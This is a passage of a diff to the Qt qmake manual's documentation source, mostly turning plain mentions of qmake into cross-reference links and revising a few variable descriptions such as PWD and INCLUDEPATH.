again to process the project file and create a new Xcode project file.
\section2 On supporting two build targets simultaneously
@@ -862,8 +860,8 @@
\l{Qt Commercial Edition} and do not need to worry about how
project dependencies are managed.
- However, some developers may need to import an existing \c qmake project
- into Visual Studio. \c qmake is able to take a project file and create a
+ However, some developers may need to import an existing \l {qmake}{ \c qmake} project
+ into Visual Studio. \l {qmake}{ \c qmake} is able to take a project file and create a
Visual Studio project that contains all the necessary information required
by the development environment. This is achieved by setting the \c qmake
\l{qmake Variable Reference#TEMPLATE}{project template} to either \c vcapp
@@ -878,7 +876,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 21
- Each time you update the project file, you need to run \c qmake to generate
+ Each time you update the project file, you need to run \l {qmake}{ \c qmake} to generate
an updated Visual Studio project.
\note If you are using the Visual Studio Add-in, you can import \c .pro
@@ -1011,7 +1009,7 @@
\section1 Variable Reference
The \l{qmake Variable Reference} describes the variables that are
- recognized by \c qmake when configuring the build process for
+ recognized by \l {qmake}{ \c qmake}when configuring the build process for
projects.
\section1 Function Reference
@@ -1061,7 +1059,7 @@
\section1 Environment Variables and Configuration
The \l{Configuring qmake's Environment} chapter of this manual
- describes the environment variables that \c qmake uses when
+ describes the environment variables that \l {qmake}{ \c qmake} uses when
configuring the build process.
*/
@@ -1117,7 +1115,7 @@
The \c CONFIG variable specifies project configuration and
compiler options. The values will be recognized internally by
- \c qmake and have special meaning. They are as follows.
+ \l {qmake}{ \c qmake} and have special meaning. They are as follows.
These \c CONFIG values control compilation flags:
@@ -1153,23 +1151,23 @@
defined in the \c CONFIG variable, it is necessary to use the
\c debug_and_release option if you want to allow both debug and release
versions of a project to be built. In such a case, the Makefile that
- \c qmake generates includes a rule that builds both versions, and this can
+ \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can
be invoked in the following way:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 24
- When linking a library, \c qmake relies on the underlying platform to know
+ When linking a library, \l {qmake}{ \c qmake} relies on the underlying platform to know
what other libraries this library links against. However, if linking
- statically, \c qmake will not get this information unless we use the following
+ statically, \l {qmake}{ \c qmake} will not get this information unless we use the following
\c CONFIG options:
\table 95%
\header \o Option \o Description
- \row \o create_prl \o This option enables \c qmake to track these
- dependencies. When this option is enabled, \c qmake will create a file
+ \row \o create_prl \o This option enables \l {qmake}{ \c qmake} to track these
+ dependencies. When this option is enabled, \l {qmake}{ \c qmake} will create a file
ending in \c .prl which will save meta-information about the library
(see \l{LibDepend}{Library Dependencies} for more info).
- \row \o link_prl \o When this is enabled, \c qmake will process all
+ \row \o link_prl \o When this is enabled, \l {qmake}{ \c qmake} will process all
libraries linked to by the application and find their meta-information
(see \l{LibDepend}{Library Dependencies} for more info).
\endtable
@@ -1323,7 +1321,7 @@
\target DEFINES
\section1 DEFINES
- \c qmake adds the values of this variable as compiler C
+ \l {qmake}{ \c qmake} adds the values of this variable as compiler C
preprocessor macros (-D option).
For example:
@@ -1554,9 +1552,9 @@
\target DESTDIR_TARGET
\section1 DESTDIR_TARGET
- This variable is set internally by \c qmake, which is basically the
+ This variable is set internally by \l {qmake}{ \c qmake}, which is basically the
\c DESTDIR variable with the \c TARGET variable appened at the end.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target DLLDESTDIR
@@ -1577,9 +1575,9 @@
\target DSP_TEMPLATE
\section1 DSP_TEMPLATE
- This variable is set internally by \c qmake, which specifies where the
+ This variable is set internally by \l {qmake}{ \c qmake}, which specifies where the
dsp template file for basing generated dsp files is stored. The value
- of this variable is typically handled by \c qmake or
+ of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target FORMS
@@ -1625,9 +1623,9 @@
Defines the header files for the project.
- \c qmake will generate dependency information (unless \c -nodepend
+ \l {qmake}{ \c qmake} will generate dependency information (unless \c -nodepend
is specified on the \l{Running qmake#Commands}{command line})
- for the specified headers. \c qmake will also automatically detect if
+ for the specified headers. \l {qmake}{ \c qmake} will also automatically detect if
\c moc is required by the classes in these headers, and add the
appropriate dependencies and files to the project for generating and
linking the moc files.
@@ -1649,8 +1647,7 @@
\section1 INCLUDEPATH
This variable specifies the #include directories which should be
- searched when compiling the project. Use ';' or a space as the
- directory separator.
+ searched when compiling the project.
For example:
@@ -1658,9 +1655,7 @@
To specify a path containing spaces, quote the path using the technique
mentioned in the \l{qmake Project Files#Whitespace}{qmake Project Files}
- document. For example, paths with spaces can be specified on Windows
- and Unix platforms by using the \l{qmake Function Reference#quote-string}{quote()}
- function in the following way:
+ document.
\snippet doc/src/snippets/qmake/spaces.pro quoting include paths with spaces
@@ -1678,14 +1673,14 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 36
- Note that \c qmake will skip files that are executable. If you need to install
+ Note that \l {qmake}{ \c qmake} will skip files that are executable. If you need to install
executable files, you can unset the files' executable flags.
\target LEXIMPLS
\section1 LEXIMPLS
This variable contains a list of lex implementation files. The value
- of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+ of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely
needs to be modified.
\target LEXOBJECTS
@@ -1693,7 +1688,7 @@
This variable contains the names of intermediate lex object
files.The value of this variable is typically handled by
- \c qmake and rarely needs to be modified.
+ \l {qmake}{ \c qmake} and rarely needs to be modified.
\target LEXSOURCES
\section1 LEXSOURCES
@@ -1722,9 +1717,7 @@
To specify a path containing spaces, quote the path using the technique
mentioned in the \l{qmake Project Files#Whitespace}{qmake Project Files}
- document. For example, paths with spaces can be specified on Windows
- and Unix platforms by using the \l{qmake Function Reference#quote-string}{quote()}
- function in the following way:
+ document.
\snippet doc/src/snippets/qmake/spaces.pro quoting library paths with spaces
@@ -1768,9 +1761,9 @@
\section1 MAKEFILE
This variable specifies the name of the Makefile which
- \c qmake should use when outputting the dependency information
+ \l {qmake}{ \c qmake} should use when outputting the dependency information
for building a project. The value of this variable is typically
- handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+ handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\bold{Note:} On the Symbian platform, this variable is ignored.
@@ -1779,7 +1772,7 @@
This variable contains the name of the Makefile generator to use
when generating a Makefile. The value of this variable is typically
- handled internally by \c qmake and rarely needs to be modified.
+ handled internally by \l {qmake}{ \c qmake} and rarely needs to be modified.
\target MMP_RULES
\section1 MMP_RULES
@@ -1835,7 +1828,7 @@
This variable is generated from the \link #SOURCES SOURCES
\endlink variable. The extension of each source file will have been
replaced by .o (Unix) or .obj (Win32). The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+ typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
rarely needs to be modified.
\target OBJECTS_DIR
@@ -1851,10 +1844,10 @@
\target OBJMOC
\section1 OBJMOC
- This variable is set by \c qmake if files can be found that
+ This variable is set by \l {qmake}{ \c qmake} if files can be found that
contain the Q_OBJECT macro. \c OBJMOC contains the
name of all intermediate moc object files. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target POST_TARGETDEPS
@@ -1894,38 +1887,47 @@
This variable contains a list of header files that require some
sort of pre-compilation step (such as with moc). The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target PWD
\section1 PWD
- This variable contains the full path leading to the directory where
- the \c qmake project file (project.pro) is located.
+ The \c PWD variable specifies the full path leading to the directory
+ containing the current file being parsed. This can be useful
+ to refer to files within the source tree when writing project files to
+ support shadow builds.
+
+ See also \l{#_PRO_FILE_PWD_}{_PRO_FILE_PWD_}.
+
+ \note IN_PWD is an alias for PWD.
+
+ \note Function calls have no effect on the value of PWD. PWD will refer to
+ the path of the calling file.
\target OUT_PWD
\section1 OUT_PWD
This variable contains the full path leading to the directory where
- \c qmake places the generated Makefile.
+ \l {qmake}{ \c qmake} places the generated Makefile.
\target QMAKE_systemvariable
\section1 QMAKE
- This variable contains the name of the \c qmake program
+ This variable contains the name of the \l {qmake}{ \c qmake} program
itself and is placed in generated Makefiles. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target QMAKESPEC_systemvariable
\section1 QMAKESPEC
- This variable contains the name of the \c qmake
+ This variable contains the name of the \l {qmake}{ \c qmake}
configuration to use when generating Makefiles. The value of this
- variable is typically handled by \c qmake and rarely needs to be modified.
+ variable is typically handled by \l {qmake}{ \c qmake} and rarely needs to be modified.
- Use the \c{QMAKESPEC} environment variable to override the \c qmake configuration.
- Note that, due to the way \c qmake reads project files, setting the \c{QMAKESPEC}
+ Use the \c{QMAKESPEC} environment variable to override the \l {qmake}{ \c qmake} configuration.
+ Note that, due to the way \l {qmake}{ \c qmake} reads project files, setting the \c{QMAKESPEC}
environment variable from within a project file will have no effect.
\target QMAKE_APP_FLAG
@@ -1933,7 +1935,7 @@
This variable is empty unless the \c app
\l{#TEMPLATE}{TEMPLATE} is specified. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified. Use the following instead:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 42
@@ -1943,7 +1945,7 @@
This variable is empty unless the \c app or \c dll
\l{#TEMPLATE}{TEMPLATE} is specified. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target QMAKE_AR_CMD
@@ -1953,7 +1955,7 @@
This variable contains the command for invoking the program which
creates, modifies and extracts archives. The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
\target QMAKE_BUNDLE_DATA
@@ -2003,7 +2005,7 @@
\section1 QMAKE_CFLAGS_DEBUG
This variable contains the flags for the C compiler in debug mode.The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
\target QMAKE_CFLAGS_MT
@@ -2012,7 +2014,7 @@
This variable contains the compiler flags for creating a
multi-threaded application or when the version of Qt that you link
against is a multi-threaded statically linked library. The value of
- this variable is typically handled by \c qmake or
+ this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_CFLAGS_MT_DBG
@@ -2021,7 +2023,7 @@
This variable contains the compiler flags for creating a debuggable
multi-threaded application or when the version of Qt that you link
against is a debuggable multi-threaded statically linked library. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_CFLAGS_MT_DLL
@@ -2032,7 +2034,7 @@
This variable contains the compiler flags for creating a
multi-threaded dll or when the version of Qt that you link
against is a multi-threaded dll. The value of this variable is typically
- handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+ handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
rarely needs to be modified.
\target QMAKE_CFLAGS_MT_DLLDBG
@@ -2043,7 +2045,7 @@
This variable contains the compiler flags for creating a debuggable
multi-threaded dll or when the version of Qt that you link
against is a debuggable multi-threaded statically linked library.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_CFLAGS_RELEASE
@@ -2051,7 +2053,7 @@
This variable contains the compiler flags for creating a non-debuggable
application. The value of this variable is typically
- handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+ handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
rarely needs to be modified.
\target QMAKE_CFLAGS_SHLIB
@@ -2061,7 +2063,7 @@
This variable contains the compiler flags for creating a shared
library. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CFLAGS_THREAD
@@ -2069,7 +2071,7 @@
This variable contains the compiler flags for creating a multi-threaded
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CFLAGS_WARN_OFF
@@ -2077,7 +2079,7 @@
This variable is not empty if the warn_off
\l{#CONFIG}{CONFIG} option is specified. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
\target QMAKE_CFLAGS_WARN_ON
@@ -2086,7 +2088,7 @@
This variable is not empty if the warn_on
\l{#CONFIG}{CONFIG} option is specified.
The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CLEAN
@@ -2105,7 +2107,7 @@
\section1 QMAKE_CXXFLAGS
This variable contains the C++ compiler flags that are used when building
- a project. The value of this variable is typically handled by \c qmake or
+ a project. The value of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. The flags
specific to debug and release modes can be adjusted by modifying
the \c QMAKE_CXXFLAGS_DEBUG and \c QMAKE_CXXFLAGS_RELEASE variables,
@@ -2125,7 +2127,7 @@
This variable contains the C++ compiler flags for creating a debuggable
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_MT
@@ -2133,7 +2135,7 @@
This variable contains the C++ compiler flags for creating a multi-threaded
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_MT_DBG
@@ -2141,7 +2143,7 @@
This variable contains the C++ compiler flags for creating a debuggable multi-threaded
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_MT_DLL
@@ -2151,7 +2153,7 @@
This variable contains the C++ compiler flags for creating a multi-threaded
dll. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_MT_DLLDBG
@@ -2161,7 +2163,7 @@
This variable contains the C++ compiler flags for creating a multi-threaded debuggable
dll. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_RELEASE
@@ -2169,7 +2171,7 @@
This variable contains the C++ compiler flags for creating an
application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_SHLIB
@@ -2177,7 +2179,7 @@
This variable contains the C++ compiler flags for creating a
shared library. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_THREAD
@@ -2185,21 +2187,21 @@
This variable contains the C++ compiler flags for creating a
multi-threaded application. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs
to be modified.
\target QMAKE_CXXFLAGS_WARN_OFF
\section1 QMAKE_CXXFLAGS_WARN_OFF
This variable contains the C++ compiler flags for suppressing compiler warnings.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_CXXFLAGS_WARN_ON
\section1 QMAKE_CXXFLAGS_WARN_ON
This variable contains C++ compiler flags for generating compiler warnings.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_DISTCLEAN
@@ -2211,7 +2213,7 @@
\section1 QMAKE_EXTENSION_SHLIB
This variable contains the extention for shared libraries. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
Note that platform-specific variables that change the extension will override
@@ -2285,15 +2287,15 @@
\section1 QMAKE_FAILED_REQUIREMENTS
This variable contains the list of requirements that were failed to be met when
- \c qmake was used. For example, the sql module is needed and wasn't compiled into Qt. The
- value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ \l {qmake}{ \c qmake}was used. For example, the sql module is needed and wasn't compiled into Qt. The
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
\target QMAKE_FILETAGS
\section1 QMAKE_FILETAGS
This variable contains the file tags needed to be entered into the Makefile, such as SOURCES
- and HEADERS. The value of this variable is typically handled by \c qmake or
+ and HEADERS. The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_FRAMEWORK_BUNDLE_NAME
@@ -2329,7 +2331,7 @@
This variable contains the location of all known header files to be added to
INCLUDEPATH when building an application. The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+ typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
needs to be modified.
\target QMAKE_INCDIR_EGL
@@ -2338,14 +2340,14 @@
This variable contains the location of EGL header files to be added
to INCLUDEPATH when building an application with OpenGL/ES or
OpenVG support. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_INCDIR_OPENGL
\section1 QMAKE_INCDIR_OPENGL
This variable contains the location of OpenGL header files to be added
to INCLUDEPATH when building an application with OpenGL support. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2357,7 +2359,7 @@
to INCLUDEPATH when building an application with OpenGL ES 1
or OpenGL ES 2 support respectively.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2368,7 +2370,7 @@
This variable contains the location of OpenVG header files to be added
to INCLUDEPATH when building an application with OpenVG support. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenVG implementation uses EGL then QMAKE_INCDIR_EGL may also
@@ -2379,7 +2381,7 @@
This variable contains the location of all known header file
paths to be added to INCLUDEPATH when building a Qt application. The value
- of this variable is typically handled by \c qmake or
+ of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_INCDIR_THREAD
@@ -2387,7 +2389,7 @@
This variable contains the location of all known header file
paths to be added to INCLUDEPATH when building a multi-threaded application.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_INCDIR_X11
@@ -2397,7 +2399,7 @@
This variable contains the location of X11 header file paths to be
added to INCLUDEPATH when building a X11 application. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_INFO_PLIST
@@ -2428,7 +2430,7 @@
This variable contains link flags when building console
programs. The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_CONSOLE_DLL
@@ -2437,19 +2439,19 @@
This variable contains link flags when building console
dlls. The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_DEBUG
This variable contains link flags when building debuggable applications. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_PLUGIN
This variable contains link flags when building plugins. The value
- of this variable is typically handled by \c qmake or
+ of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_RPATH
@@ -2463,25 +2465,25 @@
This variable contains link flags when building programs that
use the Qt library built as a dll. The value of this variable is
- typically handled by \c qmake or
+ typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_RELEASE
This variable contains link flags when building applications for
release. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_SHAPP
This variable contains link flags when building applications which are using
the \c app template. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+ \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_SHLIB
This variable contains link flags when building shared libraries
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_SONAME
@@ -2493,7 +2495,7 @@
\section1 QMAKE_LFLAGS_THREAD
This variable contains link flags when building multi-threaded projects.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_WINDOWS
@@ -2502,7 +2504,7 @@
This variable contains link flags when building Windows GUI projects
(i.e. non-console applications).
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LFLAGS_WINDOWS_DLL
@@ -2510,14 +2512,14 @@
\e {This is used on Windows only.}
This variable contains link flags when building Windows DLL projects.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR
This variable contains the location of all known library
directories.The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR_FLAGS
@@ -2526,21 +2528,21 @@
This variable contains the location of all library
directory with -L prefixed. The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR_EGL
This variable contains the location of the EGL library
directory, when EGL is used with OpenGL/ES or OpenVG. The value
- of this variable is typically handled by \c qmake or
+ of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR_OPENGL
This variable contains the location of the OpenGL library
directory.The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2550,7 +2552,7 @@
This variable contains the location of the OpenVG library
directory. The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenVG implementation uses EGL, then QMAKE_LIBDIR_EGL
@@ -2560,7 +2562,7 @@
This variable contains the location of the Qt library
directory.The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBDIR_X11
@@ -2569,13 +2571,13 @@
This variable contains the location of the X11 library
directory.The value of this variable is typically handled by
- \c qmake or
+ \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS
This variable contains all project libraries. The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_CONSOLE
@@ -2591,13 +2593,13 @@
This variable contains all EGL libraries when building Qt with
OpenGL/ES or OpenVG. The value of this variable is typically
- handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+ handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely
needs to be modified. The usual value is \c{-lEGL}.
\section1 QMAKE_LIBS_OPENGL
This variable contains all OpenGL libraries. The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2606,7 +2608,7 @@
\section1 QMAKE_LIBS_OPENGL_QT
This variable contains all OpenGL Qt libraries.The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_OPENGL_ES1, QMAKE_LIBS_OPENGL_ES2
@@ -2614,7 +2616,7 @@
These variables contain all the OpenGL libraries for OpenGL ES 1
and OpenGL ES 2.
- The value of these variables is typically handled by \c qmake or
+ The value of these variables is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
If the OpenGL implementation uses EGL (most OpenGL/ES systems),
@@ -2623,7 +2625,7 @@
\section1 QMAKE_LIBS_OPENVG
This variable contains all OpenVG libraries. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified. The usual value is \c{-lOpenVG}.
Some OpenVG engines are implemented on top of OpenGL. This will
@@ -2636,7 +2638,7 @@
\section1 QMAKE_LIBS_QT
This variable contains all Qt libraries.The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_QT_DLL
@@ -2644,21 +2646,21 @@
\e {This is used on Windows only.}
This variable contains all Qt libraries when Qt is built as a dll. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_QT_OPENGL
This variable contains all the libraries needed to link against if
OpenGL support is turned on. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_QT_THREAD
This variable contains all the libraries needed to link against if
thread support is turned on. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_RT
@@ -2667,7 +2669,7 @@
This variable contains the runtime library needed to link against when
building an application. The
- value of this variable is typically handled by \c qmake or
